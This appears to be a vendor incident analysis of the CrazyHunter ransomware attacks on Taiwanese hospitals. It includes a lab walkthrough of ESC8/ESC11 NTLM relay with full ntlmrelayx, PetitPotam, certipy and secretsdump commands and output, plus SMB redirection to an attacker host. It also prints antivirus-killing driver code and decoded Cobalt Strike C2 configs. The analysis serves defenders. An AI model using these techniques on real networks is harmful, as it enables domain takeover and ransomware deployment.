【威脅三振出局 防守無懈可擊】TeamT5 資安大會系列活動立即看
產品與服務

【案例分析】針對近期醫療院所面對 CrazyHunter 勒索軟體攻擊事件技術過程探討說明

2025.03.17IR Team
Share:
本文係根據「衛生福利部資安資訊分享與分析中心」(H-ISAC: Hospital Cybersecurity Information Sharing and Analysis Center)公開情資與入侵指標(IOCs)進行技術研析。 透過 MITRE ATT&CK 威脅模型剖析勒索軟體可能採取的攻擊手法,並從藍隊角度思考可行之預防措施。相關技術研析僅供參考,具體攻擊概況仍需以實際現場調查的資安營運服務商所提供的報告為主。

前言

根據「衛生福利部資安資訊分享與分析中心」(H-ISAC: Hospital Cybersecurity Information Sharing and Analysis Center)於 3 月 4 日會議中分享的資訊,馬偕醫院遭受 Crazy Hunter 勒索軟體攻擊,其配合之資安營運服務商已初步釐清整體攻擊脈絡。本文將根據公開情資與相關調查結果,基於MITRE ATT&CK 威脅模型推敲可能的攻擊手法。

Initial Access 階段

  • 網段範圍192.x.x.x/16 以及 10.x.x.x/16
  • 初始時間點:2 月 6 日攻擊者佔下「IIS Web」作為初始入侵點(initial foothold),隨後展開內網掃描資安服務提供商即時發出通報 )。
MD5File NameDescription
6bb811e2fbb498f466980a176caefbfba.ashxBackdoor.WebShell Godzilla
5cc2523816a184fed135f0119756c337tunnel.aspxHackTool.WebTunnel reGeorg
建立入侵據點後, 攻擊者便會進一步展開偵察(Reconnaissance)以及橫向移動(Lateral Movement)。因為攻擊者此時並不清楚受害者內部網路的實際分佈情況, 究竟是完整相聯的大內網,亦或是被個別隔離的內網,再者也不清楚「IIS Web」是否已加入 Active Directory (下文簡稱 AD)等。攻擊者若能取得 AD 主機的權限,就能從 AD 部署勒索軟體(Ransomware)到內網的每一台主機上。所以攻擊者的首要目的,就是要找尋一台可與 AD 連線的主機。 假設「IIS Web」原本就加入 AD,攻擊者便不需另行展開橫向移動。
不過依照下面的示意圖 fig.1,我們可以推測「IIS Web」並未加入 AD,因此攻擊者才會需要進一步掃描。
fig.1
流程說明
  1. Actor 使用 Godzilla (a.ashx) 控制 IIS WEB
  2. Actor 上傳 reGeorg (tunnel.aspx) 建立 Socks Proxy 轉發封包。利用 IIS WEB 掃描整個網域,尋找可存取 AD 的主機
  3. 找到後,使用 reGeorg 透過 IIS WEB 連線到 「可存取 AD 的 SRV 主機」的 RDP(3389)
  4. Actor 在 SRV 執行 netsh 將 8445 流量轉發到 223.223.223.223 的 445(SMB) Port
  5. Actor 在 SRV 使用 PortBender 將本機的 445(SMB) 流量導到 8445 Port
  6. Actor 使用 reGeorg 執行 PetitPotam.py 透過 IIS WEB 將封包傳到 AD
  7. 此時,AD 會主動反連到 SRV 的 445(SMB),裡面有 NTLM 認證資訊。
  8. 此時, 445 封包會導到 8445 Port,傳至 123.123.123.123 主機。
  9. ntlmrelayx 會使用 NTLM 認證資訊, 至 ADCS 要求 AD machine account 的憑證。
  10. AD CS 會回傳 machine account 到攻擊者主機,拿到憑證之後可以使用 PtC 取得 NTLM hash,再使用 impacket-secretsdump 將 AD 所有的帳號及 NTLM 取出來。

掃描可使用工具,例如:OXID/OXIDINterka network card(例: fig.2)或是 Cobalt Strike Plugins,匿名存取網卡資訊,藉由 135/445 port(rpc/rpc over smb)找出綁定多個 IP 位址的主機
fig.2

Privilege Escalation 階段

在 2 月 7 日時,已有多台主機遭駭(SOC 有再次通報 ),此時攻擊者應該已經取得了一台可以存取到 AD 的主機, 其中最值得注意的是「CA 主機」,這台是 ADCS 主機
另一方面,根據攻擊者所使用的工具,讓我們更加確定攻擊者的攻擊途徑。
MD5File NameDescription
b35813aac8a164e379f507de67c02a6fntlmrelayx.exeHackTool.impacket-NTLMRelayx
28bbd938ecbab26c4ad1ce96bbd9d1f5secretsdump.exeHackTool.impacket-secretsdump
ba61c126dbbd7cde055d40e0e6b5d48fPortBender.exeHackTool.PortForward PortBender
b2014d33ee645112d5dc16fe9d9fcbffWinDivert.dllPortBender
89ed5be7ea83c01d0de33d3519944aa5WinDivert64.sysPortBender

基於駭客工具 NTLMRelayx 以及 ADCS主機的組合,我們推測攻擊者可能會利用「ESC8」 或 「ESC11」漏洞進行 NTLM Relay 攻擊。

ESC8 漏洞

ESC8 漏洞成因: 有開啟 Web 方式申請憑證
  • 因 Web 服務預設支援NTLM 身份認證(預設無需簽章 ),因此可以使用 Printer Bug(MS-RPRN)PetitPotam(MS-EFSRPC)等攻擊手法觸發漏洞。
  • 這會使「目標主機(遭駭主機)」回連到指向的 「攻擊者控制的主機(開啟 NTLMRelayx 的主機)」,進而將收到的NTLM 身份認證封包導向「ADCS Web」去註冊一個「目標主機(遭駭主機)的憑證
  • 拿到主機憑證後即可使用 Pass-the-Certificate(gettgtpkinit.py、certipy)進行登入,或再進一步取得主機的NTLM Hash(U2U)

GOAD 的環境為例。

ESC8 漏洞 - 以 GOAD 環境做攻擊範例

1.在「攻擊者主機」執行 ntlmrelayx.py,此時會 Listen 445 Port 等待連線。
```
┌──(vagrant㉿kali)-[~]
└─$ impacket-ntlmrelayx -t http://braavos.essos.local/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController' --no-http-server --no-wcf-server --no-raw-server
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Servers started, waiting for connections
```

2.再使用PetitPotam.py去要求「DC 主機(遭駭主機)」訪問「攻擊者主機」的 445 Port。
此時就需要遭駭主機的任一網域帳密:
  • username: missandei
  • password: fr3edom
      ┌──(vagrant㉿kali)-[~/PetitPotam]
      └─$ python3 PetitPotam.py -u missandei -p fr3edom -d essos.local -dc-ip 192.168.56.12 192.168.56.111 192.168.56.12 -pipe all
      
                    ___            _        _      _        ___            _
                   | _ \   ___    | |_    (_)   | |_     | _ \   ___    | |_    __ _    _ __
                   |  _/  / -_)  |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \
                  _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_|
                _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
                "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
                    PoC to elicit machine account authentication via some MS-EFSRPC functions
                                            by topotam(@topotam77)
    
                           Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
    
      Trying pipe efsr
      [-] Connecting to ncacn_np:192.168.56.12[\PIPE\efsrpc]
      [+] Connected!
      [+] Binding to df1941c5-fe89-4e79-bf10-463657acf44d
      [+] Successfully bound!

3.隨後,我們可以看到 ntlmrelayx 將「訪問主機(遭駭主機)」machine account'DomainController'的 Certificate 存下來。
    ┌──(vagrant㉿kali)-[~]
    └─$ impacket-ntlmrelayx -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController' --dump-adcs
     [*] Authenticating against http://192.168.56.23 as ESSOS/MEEREEN$ SUCCEED
    [*] SMBD-Thread-17(process_request_thread): Received connection from 192.168.56.12, attacking target http://192.168.56.23
    [*] Generating CSR...
    [*] HTTP server returned error code 200, treating as a successful login
    [*] Authenticating against http://192.168.56.23 as ESSOS/MEEREEN$ SUCCEED
    [*] CSR generated!
    [*] Getting certificate...
    [*] GOT CERTIFICATE! ID 33
    [*] Writing PKCS#12 certificate to ./MEEREEN$.pfx
    [*] Certificate successfully written to file

4.拿到 Machine Account 的 Certificate 後,我們可以使用 U2U:User2User Sub-Protocol 請求 NTLM Hash。取得 「DC 主機」的 Hash後,就可以使用 dcsync 從「DC主機」拉回 所有其餘的帳號以及對應的 Hash
    ┌──(vagrant㉿kali)-[~]
    └─$ certipy auth -pfx 'MEEREEN$.pfx'
    Certipy v4.8.2 - by Oliver Lyak(ly4k)

    [*] Using principal: [email protected]
    [*] Trying to get TGT...
    [*] Got TGT
    [*] Saved credential cache to 'meereen.ccache'
    [*] Trying to retrieve NT hash for 'meereen$'
    [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:48e559f0ed4d8cda8b312e1e3dc9b383


    ┌──(vagrant㉿kali)-[~]
    └─$ impacket-secretsdump 'essos.local/meereen$@meereen' -dc-ip 192.168.56.12 -hashes :48e559f0ed4d8cda8b312e1e3dc9b383
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

    [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
    [*] Dumping Domain Credentials(domain\uid:rid:lmhash:nthash)
    [*] Using the DRSUAPI method to get NTDS.DIT secrets
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
附帶一提,假使攻擊者如果不想使用 ntlmrelay,也可以使用certipy監聽 445 port。
    
    ┌──(vagrant㉿kali)-[~]
    └─$ certipy relay -target 'http://192.168.56.23' -template DomainController
    Certipy v4.8.2 - by Oliver Lyak(ly4k)
    
    [*] Targeting http://192.168.56.23/certsrv/certfnsh.asp(ESC8)
    [*] Listening on 0.0.0.0:445
    []
    ESSOS\MEEREEN$
    [*] Requesting certificate for 'ESSOS\\MEEREEN$' based on the template 'DomainController'
    []
    [*] Got certificate with DNS Host Name 'meereen.essos.local'
    [*] Certificate has no object SID
    [*] Saved certificate and private key to 'meereen.pfx'
    [*] Exiting...

5.而當攻擊者在「遭駭跳板主機」執行 ntlmrelayx 時,他會發現 smb 445 port 是被占用的狀態。此時,他可以使用 PortBender 共用 445 port,將流量導向另一個port(這裡設為 8888port)。
  • 先設好 8888 port,這裡簡單使用 netsh 進行展示。也可以使用 Cobalt Strike
    • 遭駭跳板主機: 192.168.222.10
    • 攻擊者主機: 192.168.222.129
        netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=445 connectaddress=192.168.222.129
  • 執行 PortBender 指令,將 445 port 的流量導到 8888 port。
      PortBender.exe redirect 445 8888

6.之後使用 smbclient 訪問「遭駭跳板主機」 445 port,就都會導到 「攻擊者主機」上。
smbclient '\\192.168.222.10\c$' -U 'administrator%password'

如果說, ESC8 失敗( HTTP 關閉),攻擊者也可以改成鎖定 ESC11 漏洞。
  • ESC8:走 HTTP 註冊憑證,因為有開啟 Web 方式申請憑證。
  • ESC11:走 RPC [MS-ICPR] 註冊憑證(無開啟 Web 方式申請憑證)。

ESC11 漏洞

可以使用 ntlmrelayxcertipy,再使用 coercer.py 以及 petitpotam.py 等工具進行 NTLM Relay 攻擊。
ntlmrelayx.py -t "rpc://192.168.56.23" -rpc-mode ICPR -icpr-ca-name "ESSOS-CA" -smb2support --adcs --template 'DomainControllerAuthentication'

certipy relay -target 'rpc://192.168.56.23' -ca 'ESSOS-CA'

總結來說,當攻擊者成功取得一台 DC 主機的權限之後,通常下一步會再繼續刺探 網域的信任關係(Trusts)。如果攻擊者拿到的只是「子網域」權限,就還得再花時取得上層網域的權限。一個簡單的方式就是去執行impacket-raiseChild,讓攻擊者可以利用「子網域」的 krbtgt 以及 Inter-Realm Key。 然而由於本案例非本公司承接的案子,我們並無第一手資訊,所以不清楚場域內的實際情況。接下來,本文會直接假設攻擊者已取得「Root-DC」權限。當 DC 主機的權限被拿走 後,整個網域就已變成 攻擊者的遊樂園,在資訊不對等的情況下,受害者的反擊力量也就變得相對有限。
fig.3

Collection 階段

為了蒐集有用資訊,攻擊者應該會鎖定 HRIT搜尋資料庫系統下載公司機密 以及 存取個人資料 等等。這可能是因為 勒索軟體犯罪組織(Ransomware Gangs)認為,單純加密資料對部分使用者影響不大,倘若使用者有備份,只需重灌系統並還原資料即可。
好比真實世界中的 擄人勒贖 (Ransom),應用在電腦的領域,就變成了 勒索軟體(Ransomware)。在資安領域,攻擊者藉由搜取資料,對受害者進行勒索,若拿不到錢,就不會釋放人質(資料)。

Defense Evasion 階段

當攻擊者蒐集完資料,可能就會開始進行破壞(如破壞磁區、植入備用後門程式)。因攻擊者握有備份資料,若受害者想拿回資料,可以要受害者支付贖金;若受害者不願支付贖金,攻擊者便可將資料轉賣給他人。
而攻擊者在取得到管理者權限的情況下,就可以很輕易地把想要的資料及檔案先複製一份到 DC 主機上,之後再一次性將這些檔案從 DC 主機上傳到雲端。
以下 fig.4為攻擊者工具中的一個批次檔,可以看到主要的功能就是將 「DC主機」 上的檔案複製一份到「加入網域的電腦」上 (C:\Users\Public\)。
fig.4

|| AV Killer

接下來我們來看一下批次檔中看到的一些執行檔。
MD5File NameTime Stamp
7f05a928c77cb87ffb510168c1b0b11baa.exe, cc.exe2025-01-27 17:36:21 UTC
e12c5be075c23d1c5f398e46e2ee5d40av-1m.exe2025-02-08 11:01:11 UTC
87b3db166041c61f3a033cf3c94e89c6av-500kb.exe2025-02-08 10:49:56 UTC
ca257aaa1ded22ca22086b9e95cb456dgo.exe1970-01-01 00:00:00 UTC
da1a93627cec6665ae28baaf23ff27c5go2.exe1970-01-01 00:00:00 UTC
Golang 編譯出來的 Time Stamp 都為零 (1970-01-01 00:00:00 = UTC 開始的時間)。這裡可以看到兩個時間點: 「01月27日」 以及 「02月08日」。看過資料後發現:
  • aa.exe/cc.exe:有些許混淆。
  • av-1m.exe 以及 av-500kb.exe:有更多的混淆,只是寫了兩個不同大小的混淆版本。
  • **go.exe 以及 go2.exe:使用 Golang 撰寫,檔案大小較大,會比 c 語言寫的好繞過防毒。
攻擊者會編譯這麼多版本執行多次,主要應該是想增加執行成功的機率。

|| aa.exe / cc.exe

從批次檔中可以看到 aa.exe 執行參數 --path--loop,程式中還有出現 --pid
start C:\Users\Public\aa.exe --path C:\Users\Public\zam64.sys --loop
start C:\Users\Public\cc.exe --path C:\Users\Public\zam64.sys --loop
靜態分析一下 aa.exe,我們看到它預設會去載入 C:\Users\public\zam64.sys驅動程式
fig.5
使用了一點的 OLLVM 技巧,不過字串還是都沒編碼。這些字串為 防毒的 Process 名稱,將它取出後可以發現它的目的是 針對以下兩家防毒產品進行終結,有看到的字串為下列執行檔名稱:
  • Trend Micro OfficeScan 防毒
    • EndpointBasecamp.exe、NisSrv.exe、PccNt.exe、PccNTMon.exe、TmListen.exe、Ntrtscan.exe、NTRTScan.exe、TMBMSRV.exe、TmCCSF.exe、CNTAoSMgr.exe
  • Microsoft Defender for Endpoint(MDE)防毒
    • MsMpEng.exe、MsSense.exe、SecurityHealthService.exe、SenseTVM.exe
fig.6
延伸討論
關於 Zemana AntiMalware 驅動程式被濫用已不是什麼新鮮事,有興趣可參考 Reverse Engineering Terminator aka Zemana AntiMalware/AntiLogger Driver
根據 GitHub 上的 程式碼來看,如果使用 REGISTER_PROCESS 傳入 PIDDriver 進行註冊,此 PID 的程式就可以對此 Driver 進行 後續的行為,而這裡使用的 TERMINATE_PROCESS 是為了傳入 PID 來 結束程序
#define REGISTER_PROCESS 0x80002010
#define TERMINATE_PROCESS 0x80002048
...
    DWORD dwProcessId = GetCurrentProcessId();
    if(!DeviceIoControl(hDevice, REGISTER_PROCESS, &dwProcessId, sizeof(dwProcessId), NULL, 0, NULL, NULL)){
        printf("[-] failed to register current process\n");
        exit(1);
    }
    printf("[+] registered current process as a trusted process\n");

    if(!DeviceIoControl(hDevice, TERMINATE_PROCESS, &dwTargetProcess, sizeof(dwTargetProcess), NULL, 0, NULL, NULL)){
        printf("[-] could not kill process %d\n", dwTargetProcess);
        exit(1);
    };
    printf("[+] killed process %d", dwTargetProcess);
P.S 當程式執行後會無限迴圈,如果一偵測到程序名稱符合就終止程序。
C:\test>aa
Service is already running.
Terminating PccNt.exe with PID: 1560
Terminating PccNt.exe with PID: 3600
Terminating PccNt.exe with PID: 6644

|| av-500kb.exe / av-1m.exe

av-500kb.exeav-1m.exe 是混淆加增版的 aa.exe,而 go.exego2.exe 是從 C 的版本改為 Golang 語言版本。
再探討另一個議題:「自帶易受攻擊的驅動程式(Bring Your Own Vulnerable Driver,BYOVD)」, Windows 剛走入 x64 時,驅動程式開始被要求簽章 DSE(Driver Signature Enforcement),攻擊者就開始找驅動程式的弱點,而找到的驅動程式,只要有 SeLoadDriverPrivilege 權限 就能載入。
下圖 (fig.7)可看到有 兩個群組有權限載入驅動程式 (圖上的群組為預設群組)。
fig.7

Impact 階段

|| Prince-Ransomware

Prince-Ransomware 是由 SecDbg 作者所撰寫,使用 Golang 程式語言,網路上有原始碼可以下載編譯,因為編譯時使用 GOARCH=amd64 go build,所以僅能執行在 x64 平台。
MD5File Name
6a70c22a5778eaa433b6ce44513068dacrazyhunter.exe, go3.exe, hunter.exe
5e560ea46fa48188cc8768c7e03294d0hunter.exe
加密的檔案 如下 (fig.8),可以看到內容非完整加密,因此熵( entropy )不太高。 一次處理 3 byte,只有第一個 byte 會加密,後二個 byte 保留。
fig.8

加密演算法使用 chacha20,傳入 32 byte 的 Key 及 24 byte 的 None,使用非對稱式的 secp256k1 演算法加密 Key 與 None,中間使用 || 隔開。
OffsetDescription
00~80encryptedKey
81~82||(separator)
83~FBencryptedNonce
FC~FD||(separator)
FE~..ciphertext
  • 可以看到加密程式在進行檔案內容的處理,這裡的 cipher 是:
fig.9

被加密的目錄會留下 Decryption Instructions.txt (fig.10),最後會將桌布設為一張勒索圖片。
fig.10

Donut loader

因 Golang 直接編譯出來的內容可能被防毒軟體刪除,所以後來攻擊者還有使用 Donut 來做 免殺
MD5File Name
9fe3322dd4fc35d1ed510bf715dae814bb.exe
906e89f6eb39919c6d12a660b68ae81fcrazyhunter.sys
7f3d07220529742bdc1827186b73666ahunter.ini

從批次檔中 (fig.11) 可以看到之前執行了 AV Killer ,所以只要防毒的程序一建立,就會馬上被殺掉,接著攻擊者就可以順利執行勒索軟體了。
fig.11

這裡有二個版本:
  1. crazyhunter.exe : 使用 Golang 直接編譯出來的
  2. bb.exe 以及 crazyhunter.sys : Donut 做免殺的版本
二者加密的 Public Key 都是一樣的 ( 醫院不同,所以 key 不同 -- mmh、adauh 二者 key 不同 )。 但為何要執行二個呢?其實攻擊者會做多個版本,確保其中一個是可以繞過防毒的。換句話說,此處邏輯為如果只有一次的執行機會,那一次執行多組程式,可以增加成功的機率。

|| bb.exe

bb.exe 是一個 Loader 用來載入 Shellcode 程式,是使用 dotnet/runtime 所改過來的,而他的圖示是使用 Kaspersky Password Manager 軟體的圖 (使用需加 -f 參數指向檔案)。

|| crazyhunter.sys / hunter.ini

crazyhunter.sys 可以直接將它當 Shellcode 跑起來,如果掛 Debugger 追一下,可以看到有一串 DLL 名稱 (fig.12),就可以知道他是 Donut 的 Shellcode 了。
.sys 以及 .ini 裡面解出來的程式皆為 Prince-Ransomware 執行檔
fig.12
延伸討論
關於 Donut 可參考 thewover 所撰寫的文章。

|| SharpGPO

MD5File Name
9e45ab7d2d942a575b2f902cccfb3839gpo.exe
最後在勒索前,SOC 也有看到(一樣有通報),攻擊者使用SharpGPO 建立 工作排程程式(Task Scheduler)(fig.13)執行 批次檔
延伸討論
攻擊者沒有選擇常見的 Logon Script 的方式,主要可能是因為使用 Logon Script 只有開機、關機才會被觸發,但若使用 工作排程 的話,只需設好 GPO,有加入網域的主機將會在 90 ~ 120 分鐘會去抓取 Policy 下來自動套用。
fig.13

Command and Control 階段

在馬偕醫院的場域,從公佈的資訊中可以看到Crazy Hunter 這一連串下來的攻擊,貌似最多就只有 WebShell 類型的後門,並沒有執行檔類型的後門。
而在 3 月初時所 公佈的入侵指標 (IOCs) 終於出現,有後門程式後也比較好做關聯。
延伸討論
猜測此 IoC 應該是此連串事件另一個受攻擊醫院(彰化基督教醫院)的樣本,因為後門產生的日期為 「3 月 1 日」 和 「3 月 2 日」 (03-01 15:14:40.368686303-02 01:35:55.4274015)。

|| Cobalt Strike

MD5File NameC2 (域前置)
6d04be58f8987853ab57c745ec5663f9appitob.exe (Aniya 產出)hg7wx7t7-443.usw3.devtunnels.ms
f58712846e029a548ccd52b24ae0b720svc.exe (Aniya 產出)graph.microsoft.com
eb151437c1f74877e27e1e895ee6dbd6beacon_x64.exe (原版)rh3qld1v-9998.aue.devtunnels.ms

appitob.exe 解析

appitob.exe 為例,在 IDA 中 (fig.14) 可以看到會先使用 Base85 解碼,再使用 Hex 轉成 Binary
fig.14

之後再使用 RC4 解密,而解密 Key 為當初產出後門程式的時間,後面再附加 test 的字串。
fig.15

解開後的 Shellcode 會長像這樣:
fig.16

而如果自行撰寫解碼程式,一層一層解,時不時會看到一個 時間,其實這個時間正是 RC4XOR 的 Key
fig.17

appitob.exe 關聯

appitob.exe 所解出來的組態,可以看出一些有趣的東西:
  • Watermark 可以看出攻擊者使用 盜版的 Cobalt Strike
  • HttpPostUri、HttpGet_Metadata 中出現了 /omp/lwpV2oa.dingtalk.com 。 再用這些關鍵字去查,可以發現是 钉钉(DingTalk)管理后台(oa.dingtalk.com),為中國阿里巴巴集團推出的企業版即時通訊軟體。
fig.18

而這裡我們也可以看到,攻擊者所使用的 C2 位址 是 hg7wx7t7-443.usw3.devtunnels.ms,此為合法的 微軟的 Microsoft Dev Tunnels網域, 此為域前置(Domain fronting)的 C2 技巧。
延伸討論
關於 C2 使用 Dev Tunnels 可以看下列文章。
以下為 appitob.exe config 資訊:
BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 10000
MaxGetSize                       - 4199144
Jitter                           - 50
MaxDNS                           - Not Found
PublicKey_MD5                    - e302076fc6a339ced4681004610955a1
C2Server                         - hg7wx7t7-443.usw3.devtunnels.ms,/omp/api/micro_app/get_org_app
UserAgent                        - Mozilla/5.0(Windows NT 10.0; Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/109.0.5396.2 Safari/537.36
HttpPostUri                      - /omp/lwpV2
Malleable_C2_Instructions        - Remove 2049 bytes from the end
                                   Remove 2049 bytes from the beginning
                                   Remove 734 bytes from the beginning
                                   NetBIOS decode 'a'
                                   XOR mask w/ random key
HttpGet_Metadata                 - ConstHeaders
                                        Accept-Encoding: gzip, deflate
                                        X-Csrf-Token: FCWUko5DL5gEECJg12I7B2
                                        Accept-Language: zh-CN,zh;q=0.9
                                        Referer: https://oa.dingtalk.com/
                                        Sec-Fetch-Site: same-origin
                                        Sec-Fetch-Mode: cors
                                        Sec-Fetch-Dest: empty
                                   Metadata
                                        base64
                                        base64url
                                        prepend "ANID="
                                        prepend "__Secure-3PAPISID=noskin;xlly_s=1;dd_home_locale=zh-cn;stayLogin=false;dd_n=CN;"
                                        append ";CONSENT=YES+CN.zh-CN+20210917-09-0"
                                        header "Cookie"
...
HostHeader                       - Host: hg7wx7t7-443.usw3.devtunnels.ms
...

svc.exe 解析

svc.exe 的樣本,經過分析最後找到了產生器,他是由 piiperxyz 所撰寫的 AniYa 免杀框架

下圖是產生器的畫面 (fig.19),可看到 加密 以及 可執行 Shellcode 的幾種方式。
fig.19

產完後,會拿到下列檔案 (fig.20):
  • main.go: Golang 的原始碼
  • key : 裡面是「時間」
  • shellcode: 被加密的 Payload (beacon.bin)
  • result.exe: 之後 shellcode 會使用 go build 將 main.go 編成 result.exe。
fig.20

svc.exe 關聯

svc.exe 解出來的組態沒有太多資訊,只知道會去連 graph.microsoft.com(域前置,並非真實 C2)。
以下為 svc.exe config 資訊:
BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 5000
MaxGetSize                       - 2500000
Jitter                           - 0
MaxDNS                           - Not Found
PublicKey_MD5                    - e302076fc6a339ced4681004610955a1
C2Server                         - graph.microsoft.com,/_
...
HostHeader                       -
...
其實是他把資訊藏在 Shellcode 裡,而 shellcode 被插在 colbat stike - beacon 執行檔的最前端。下面圖裡看到的為 shellcode 裡的 config (fig. 21)。
fig. 21
上圖 Shellcode Config 完整版的 字串
graphstrike.local
SystemFunction032
advapi32.dll
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789
graph.microsoft.com
login.microsoft.com
*/*
PUT
GET
4651eadc-3b6c-4879-a4e4-01d4fb7141ec
//oauth2/v2.0/token
/%s/oauth2/v2.0/token
28833923-9c7c-4633-9ba8-d5649a3a1612
wVM8Q~J6~eEJxLLtH6~pkJQP-Z1zSh77vQ4TJdft
grant_type=client_credentials&client_id=&client_secret=&scope=https%3A%2F%2F%2F.default
grant_type=client_credentials&client_id=%s&client_secret=%s&scope=https%%3A%%2F%%2F%s%%2F.default
POST
Host: login.microsoft.com
Content-Type: application/x-www-form-urlencoded
access_token":"
Host: %s
Authorization: %s
Host: %s
Authorization: %s
Content-Type: application/octect-stream
/v1.0/sites/lmsfo.sharepoint.com,33848383-f6d0-4cd8-a579-e61436f4dc34,f86c4965-b6ea-4e01-82e6-bb7605b2d02d/drive
%s/root:/%s:/content
id":"
/items//content
%s/items/%s/content
%s/root:/%s%s%s:/content
pD9-tK
/content
size":

再來,經由 Graph API 認證完後,實際的 C2 是指向 lmsfo.sharepoint.com,使用它來 暫存資料 (有點像以前的 Google Drive、Dropbox 的後門之類),利用檔案的方式交換資料。
  • lmsfo 是企業或組織申請時的名稱。
fig. 22
延伸閱讀
關於 C2 使用 Microsoft Graph API 可以參考以下文章。

beacon_x64.exe 解析

如果有點懂密碼學的讀者,應該可以看出解密方式。
fig.23

可以看出有 4 組 DWORD 值,第一個是資料大小,第二個是 XOR Key。
fig.24

beacon_x64.exe 關聯

解出來的組態 C2 (域前置,並非真實 C2)是 rh3qld1v-9998.aue.devtunnels.ms,一樣也是 Dev Tunnels,它是 Microsoft 的服務,所以不要使用非常強的防火牆 (不小心也把很多正當流量擋掉的防火牆)阻擋。
以下為 beacon_x64.exe config 資訊:
BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 10000
MaxGetSize                       - 4199144
Jitter                           - 50
MaxDNS                           - Not Found
PublicKey_MD5                    - e302076fc6a339ced4681004610955a1
C2Server                         - rh3qld1v-9998.aue.devtunnels.ms,/omp/api/get_page_config
...
HostHeader                       - Host: rh3qld1v-9998.aue.devtunnels.ms
...

分析後門,可以發現 C2 都是使用微軟的基礎架構。隨著企業逐步雲端化,未來的網路流量將變得更加難以識別,尤其是當攻擊者開始利用合法服務進行傳輸時,傳統的偵測與防禦手段將面臨更大的挑戰。

結論

Crazy Hunter 是新興的勒索軟體,根據暗網情資,此犯罪組織自 2 月開始積極行動以來,目前已知的受害單位都在台灣。另外值得注意的是,我們的分析推測攻擊者應該能夠理解中文。綜合來看, CrazyHunter 的攻擊手法特點如下包含:
  • 使用開源工具: 大多數的工具都為 GitHub 就能找到的既有公開工具、開源程式 攻擊者開發成本極低。
  • 熟悉 AD 網域部署:從資安營運服務商發出告警事件,到攻擊者拿下網域時間極短,關閉防毒程式的程式碼也具有相當高的針對性。
  • 善於隱匿 C2:後門都使用域前置的 C2 技巧,來躲避追蹤、製造斷點。
  • 戰術靈活:攻擊者使用工具如果有原始碼,執行檔編譯日期為當下攻擊時間。

TeamT5 已協助多家國內外企業處理勒索事件攻擊,由獲獎團隊偕同企業一同應變,防禦多元的惡意程式入侵、抵擋持續演進的攻擊手法。
今天就聯絡我們,洽詢試用。
2025.03.17IR Team
Share:
為提供您最佳的服務體驗,本網站使用 Cookies。當您使用本網站,即表示您同意 Cookies 技術支援。更多資訊請參閱隱私權與Cookies使用政策。